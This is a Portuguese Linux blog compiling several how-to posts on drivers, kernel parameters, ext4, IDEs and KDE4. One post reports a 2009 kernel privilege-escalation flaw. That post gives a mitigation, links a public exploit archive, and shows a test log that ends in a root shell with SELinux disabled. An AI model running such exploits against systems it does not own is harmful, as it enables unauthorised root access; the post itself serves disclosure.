LucasAllan.com

Mais outro post direcionado aos propriétarios de placas de video Sis 771/671. Como já foi dito em outros posts, a Sis não libera o driver para linux. Para quem instalou recentemente o ubuntu 9.10 64 bits e não conseguiu encontrar um driver compatível, pode fazer o download do mesmo clicando  aqui.

Após concluir o download descompacte o driver e copie para o diretorio /usr/lib64/xorg/modules/drivers

Em seguida crie o xorg.conf dentro de /etc/X11/ com o seguinte conteúdo:

Section “Device”
Identifier   “Configured Video Device”
Driver “sisimedia”
EndSection

Section “Monitor”
Identifier   “Configured Monitor”
EndSection

Section “Screen”
Identifier   “Default Screen”
Monitor      “Configured Monitor”
Device      “Configured Video Device”
EndSection

Reinicie o X e seja feliz.

Uma nova falha foi descoberta no kernel linux, que permite ao atacante escalar privilégios obtendo assim acesso de root.
As versões do kernel afetadas são:
- Linux 2.4, from 2.4.4 up to and including 2.4.37.4
- Linux 2.6, from 2.6.0 up to and including 2.6.30.4

Logo, todas as versçoes disponíveis atualmente tem o bug. O próprio Linus Torvalds já escreveu o patch de correção, que deverá vim no próximo release.
Por enquanto uma solução simples e funcional é adcionar na inicialização do seu sistema o seguinte comando:
‘echo 65536 > /proc/sys/vm/mmap_min_addr’

Para mais informações:
http://lwn.net/Articles/347006/

Download do exploit: http://grsecurity.net/~spender/wunderbar_emporium.tgz

Abaixo segue o log do teste que fiz com o exploit no fedora 11, kernel 2.6.29.6-217.2.3.fc11.i686.PAE

bash-4.0$ ./exploit
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc0a0ee58
[+] Resolved selinux_enabled to 0xc089c440
[+] Resolved security_ops to 0xc0a0d62c
[+] Resolved default_security_ops to 0xc089bf60
[+] Resolved sel_read_enforce to 0xc053f1be
[+] Resolved audit_enabled to 0xc09d734c
[+] Resolved commit_creds to 0xc044b575
[+] Resolved prepare_kernel_cred to 0xc044b3d6
[+] got ring0!
[+] detected 2.6 style 4k stacks
MPlayer 29092-4.4.0 (C) 2000-2009 MPlayer Team
mplayer: could not connect to socket
mplayer: No such file or directory
Failed to open LIRC support. You will not be able to use your remote control.

Playing /tmp/video.DcRTkU.
libavformat file format detected.
[lavf] Audio stream found, -aid 0
==========================================================================
Opening audio decoder: [pcm] Uncompressed PCM audio decoder
AUDIO: 48000 Hz, 2 ch, s16le, 64.0 kbit/4.17% (ratio: 8000->192000)
Selected audio codec: [pcm] afm: pcm (Uncompressed PCM)
==========================================================================
[AO OSS] audio_setup: Can't open audio device /dev/dsp: No such file or directory
Failed to initialize audio driver 'oss'
Could not open/initialize audio device -> no sound.
Audio: no sound
Video: no video

Exiting... (End of file)
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
sh-4.0# id
uid=0(root) gid=0(root) context=system_u:system_r:kernel_t:s0
sh-4.0#

Nota (16/08/2009): O projeto fedora já está disponibilizando novo kernel (2.6.29.6-217.2.7.fc11.i686.PAE) com a falha anteriormente citada devidamente corrigida.

Como alguns de vocês já devem saber, a maioria das distribuições Linux já está aderindo ao ext4. O Ubuntu 9.04, Fedora 11 (que será lançado em breve), o Slackware a parti da próxima versão também contará com a opção de usar o Ext4. Estou apenas citando as que mais tenho contato, muitas outras já devem ter incluído esse suporte em seus repositórios oficiais. Mas quais são as vantagens do Ext4 em relação ao Ext3?

• Para começar o suporte ao tamanho de arquivos e partições, que agora será de 1EB (exabyte) para partições e 16TB por arquivo. Bem diferente do Ext3 que é 32Tb (terabytes) para partições e 2Tb por arquivo.
• Número de subdiretório ilimitado.
• Melhorias de perfomance: para o ext3 fazer uma pré-alocação, reservando espaço no hd, enxendo os inodes com 0, isso demanda tempo e processamento, o ext4 não fará mais isso. Para fazer sua pré-alocação ele não precisará enxer os inodes com 0. O tempo que ele consegue manter a alocação de espaço também será maior, evitanto assim repetidas operações de alocações e desalocações de espaço.
• Possibilidade de impedir que um arquivo seja apagado, até mesmo pelo o root. Trazendo assim mais segurança.
• O FSCK está mais rápido, pois não faz a checagem de partes do hd que não estão sendo usadas.

Entre diversas outras novidades. Para quem quiser saber mais: Ext4 HowTo

Para todos que possuem a placa Sis Mirage3 671/771 e está tendo problemas com o driver da sis. Aqui tem a solução definitiva, um pacote deb do driver, testado e aprovado no ubuntu 9.04

xorg-driver-sis671_0.9_i386.deb

Instale o pacote e adciona ao seu xorg.conf, na sessão “Device”:

Driver “sis671″

E pronto, tudo resolvido.
Obs: Essa versão do driver funciona em sistema 32 bits.

Valendo lembrar que essa versão mais nova do ubuntu está simplesmente maravilhosa.

Fazia tempo que procurava uma boa IDE para C/C++, encontrei várias excelentes, mas nenhuma me agradou tanto quanto a Code::Blocks.
Usei por um bom tempo o netbeans e o eclipse , já que também programo em Ruby e Java, foi uma boa alternativa, pois eu não precisava me adaptar a uma IDE nova só por está usando uma outra linguagem. Sempre fui muito fã do Vim, acredito que ele ofereça tudo que você precisa para programar tranquilamente, mas acabei me acostumando com algumas frescurinhas das IDE’s o que me resultou nessa imensa procura.
Não estou querendo criticar nenhuma IDE, apenas estou compartilhando com vocês essa maravilhosa ferramenta que tive o prazer de conhecer.

Caracteristicas:

- Totalmente escrita em C++.
- Possui versões para Linux, Windows e Mac.
- Suporte a diversos compiladores diferentes (GCC, MSVC++, Borland C++ e etc…)
- Suporte a builds paralelos (se seu processador tiver mais um core).
- Suporte a importação de projetos do Dev-C++ e MSVC.
- Suporte completo a breakpoints.
- Code Completion.
- Identação inteligente.
- Suporte a plugins.

E várias outras funções. Se você programa em C/C++ vale a pena dá uma conferida.

O site do projeto é: www.codeblocks.org

Há algum tempo eu postei aqui como fazer o Linux funcionar no intelbras i61, para isso era necessario recompilar o kernel desabilitando alguns recursos, o que gerava um grande trabalho, principalmente para quem não tem conhecimento em recompilar o kernel. Bom, descobri há algum tempo que não é necessario tudo isso, basta passar alguns paramentros.

Os paramentros são:

acpi=force noapic pci=assign-busses apicmaintimer idle=poll reboot=cold,hard

Pronto, com isso seu intelbras irá funcionar perfeitamente.

Continuando com o processo de instalação do Linux nos notebooks intelbras da serie i61. Anteriormente eu demonstrei como conseguir deixar funcionando os 2 cores e o suporte a ACPI, nesse artigo irei mostrar como colocar para funcionar a placa wireless dele. Pelas minhas pesquisas, a maioria das pessoas estão usando o ndiswrapper para emular o driver para windows, é uma solução boa, porem eu prefiro usar tudo nativo. Logo descobri que a broadcom já havia desenvolvido o driver nativo para o linux, que se encontra disponível em:

http://www.broadcom.com/support/802.11/linux_sta.php

O processo de instalação foi testado no Fedora 10 e deve funcionar em qualquer outra distribuição Linux. Porem, o processo de subir o modulo durante o boot do sistema, demonstrado no final desse artigo, deve mudar um pouco caso você esteja usando outra distribuição Linux.

Após fazer o download do driver (no caso do intelbras i61 é o 64 bits) crie um diretório e descompacte os arquivos dentro dele.

Entre no diretorio e execute:

# make -C /lib/modules/`uname -r`/build M=`pwd`

Verifique se há algum modulo relativo a placa wireless carregado.

# lsmod

E procure por: bcm43xx, b43, b43legacy, ndiswrapper

Se algum desses módulos estiver carregado, use o comando “modprobe -r <nome-do-modulo>” ou

“rmmod <nome-do-modulo>” para descarrega-lo.

Agora carregue os módulos:

# modprobe ieee80211_crypt_tkip

# insmod wl.ko

Então copie para o diretório de módulos do kernel o modulo gerado:

# cp wl.ko /lib/modules/`uname -r`/kernel/net/wireless/

Crie as dependencias:

# depmod -a

Essa é a parte que pode variar de distro para distro:

No fedora 10, entre no diretorio /etc/sysconfig/modules e crie dois arquivos chamados “ieee80211_crypt_tkip.modules” e “wl.modules”.

Dentro do ieee80211_crypt_tkip.modules coloque:

#!/bin/sh

/sbin/modprobe ieee80211_crypt_tkip

E dentro do wl.modules

#!/bin/sh

/sbin/modprobe wl

Dê permissão de execução:

# chmod +x wl.modules

# chmod +x ieee80211_crypt_tkip.modules

No slackware, abra o arquivo rc.local que se encontra dentro de “/etc/rc.d/rc.local” e adcione no final do arquivo as seguintes linhas:

/sbin/modprobe ieee80211_crypt_tkip

/sbin/modprobe wl

E pronto. Sua placa wireless já está configurada e pronta para usar com o driver oficial da broadcom.

Há cerca de 2 meses atras adquiri um notebook intelbras i61, de excelente custo-beneficio. Ele veio com o fenix linux rodando e tudo funcionando perfeitamente. Então resolvi instalar o Bluewhite64 ( uma versão do slackware para computadores 64 bits) e eis que surgiu os problemas.

O sistema foi instalado normalmente, mas na hora de iniciar travava. O ubuntu e fedora nem iniciavam o instalador. Então resolvi fazer algumas pesquisas na internet, e descobri que tinha muitas pessoas com esse mesmo problema. A solução encontrada era ou desabilitar o acpi e com isso não ter informações sobre a bateria e etc do notebook, ou desabilitar um dos cores do processador e perder desempenho com isso. A maioria das pessoas desabilitavam um dos cores e ficavam com o suporte ao acpi. Eu mesmo por algum tempo usei essa opção, que era passando o paramentro ‘nosmp’ na inicialização do sistema. Mas como o fenix linux rodava com o suporte ao acpi e com os dois cores ? Essa era uma questão que ficava em minha cabeça, tentei entrar em contato com o suporte do Fenix e não obtive resposta. Nesse último fim de semana resolvi que ia resolver isso, parei um pouco para pensar sobre o assunto: “Deve existir alguma incompatibilidade entre o acpi e o uso dos dois núcleos do processador”. Então abri o menu de configuração do kernel, procurei por algo relacionado ao assunto, desabilitei, recompilei o kernel e pronto. Tudo funcionando.

Então, ai vai os procedimentos, não irei ensinar como recompilar o kernel, isso é assunto para outro tutorial.

1 - Abra o menu de configuração do seu kernel ‘make menuconfig’ dentro do diretorio onde está localizados os sources.

2 – Vá na opção “Power management and ACPI options”.

3 – Vá na opção “ACPI (Advanced Configuration and Power Interface) Support”.

4 – Desmarque a opção “Processor”.

5 – Salve as novas configurações, saia e recompile o kernel. Depois dê boot no sistema por ele e tudo resolvido.

Abaixo segue alguns links sobre como recompilar seu kernel.

http://www.guiadohardware.net/tutoriais/como-recompilar-kernel-linux/

http://fedora.wiki.br/wiki/Recompilando_o_kernel

Uma dica: Para não precisar refazer toda a configuração do kernel, dentro do diretorio boot tem um arquivo de configuração, chamado config-<versão do kernel>, copie ele para dentro do diretorio dos seus sources e então renomeie para “.config”.

Essas dicas foram testadas nas seguintes distribuições Linux:

Bluewhite64 12.2

Fedora 10

Como muito de vocês já devem saber, o KDE4 está disponível como “testing” no repositório oficial da versão current do Slackware (ou seja, versão de desenvolvimento). Para muitas pessoas que me conhecem, o titulo desse texto deve ter sido algo no minimo estranho. Nos meses antes do lançamento oficial, tudo que eu falava era sobre o kde4. O que acabou gerando uma grande decepção, apesar de saber que se tratava de uma “Technology Preview”, o KDE4 me decepcionou. As coisas simplesmente não funcionavam direito ou muitas vezes nem isso. Tentei insistentemente continuar a usa-lo como ambiente de produção, mas sem sucesso. Isso acabou gerando uma certa desconfiança de minha parte nessa tecnologia. O que só me permitiui voltar a usa-la somente agora, cerca de 10 meses depois de seu lançamento. Lançado no dia 3 de outubro, a versão 4.1.2 do KDE4 está simplesmente sensacional. Tudo funciona, o desempenho em relaçao a versão 4.0 (a única versão do kde4 que usei antes da 4.1.2) está surpreendente, apesar de possuir muito mais recursos e efeitos que a versão 3.5.X o desempenho não deixa a desejar, nao fiz nenhum teste para saber qual versão é mais leve, mas também não sentir diferença . A equipe do KDE4 está realmente de parabéns, todas as minhas expectativas em relação ao KDE4 estão sendo satisfeitas. Até mesmo o novo amarok, ainda em versão beta (1.92.2), já apresenta excelentes resultados. Infelizmente alguns softwares, como o k3b, não estão disponiveis ainda. Fazendo com que você precise ter instalado o kdelibs da versão 3.5.x instalado ainda. Para quem usa Slackware, isso não é problema, um pacote do kdelibs3 está também disponível nos repositórios oficiais, para ser usado em conjunto com o kde4.

KDE

www.kde.org

Slackware

www.slackware.com

Essa foi uma dica que postei já faz algum tempo no vivaolinux. Nem prestem atenção na versão do kernel usada como exemplo =P

Já vi muitas pessoas com problemas com o kernel-headers quando atualiza seu sistema para um kernel mais novo, principalmente quando tal versão foi compilada pelo proprio usuário.

Bom, então vamos lá. A dica é o seguinte.

Entre no diretório /usr/src e crie um link simbólico chamado ‘linux’ apontando para versão do kernel que você está usando. Exemplo:

# ls -la

total 42416
drwxr-xr-x  7 root root      264 2007-04-14 14:05 ./
drwxr-xr-x 20 root root      552 2006-11-05 11:37 ../
drwxr-xr-x  2 root root      696 2007-03-10 17:04 ddclient-3.7.1/
lrwxrwxrwx  1 root root       14 2007-04-11 23:10 linux -> linux-2.6.20.6/
drwxr-xr-x 19 root root      736 2006-09-20 04:53 linux-2.6.18/
drwxr-xr-x 20 root root     1264 2007-04-12 01:20 linux-2.6.20.6/
-rw-r--r--  1 root root 43388391 2007-04-06 17:18 linux-2.6.20.6.tar.bz2
drwxr-xr-x  7 root root      168 2003-10-29 03:08 rpm/
drwxr-xr-x  9 root root      312 2006-11-05 11:37 slackbuilds/

Observe que o ‘linux’ é um link simbólico apontando para o source que do kernel que estou usando atualmente (2.6.20.6).

Para criar o link é bem simples:

# ln -sf /usr/src/linux-2.6.20.6 /usr/src/linux

Não se esqueça de substituir o ‘linux-2.6.20.6′ pelo diretório do kernel-source que você está usando.

Agora vamos ao kernel-headers:

A seqüência de comandos é o seguinte:

# cd /usr/include
# ln -sf /usr/src/linux/include/linux
# ln -sf /usr/src/linux/include/asm-generic
# ln -sf /usr/src/linux/asm-i386 asm

Dentro de /usr/include você está criando o link simbólicos pro seu source, o que substitui a necessidade do kernel-headers.

Sempre que for usar uma outra versão do kernel, basta refazer o link dentro de /usr/src/ e por ele para apontar para versão do kernel que você está usando.

Tudo muito simples.

Por: Lucas Allan a.k.a Shaman286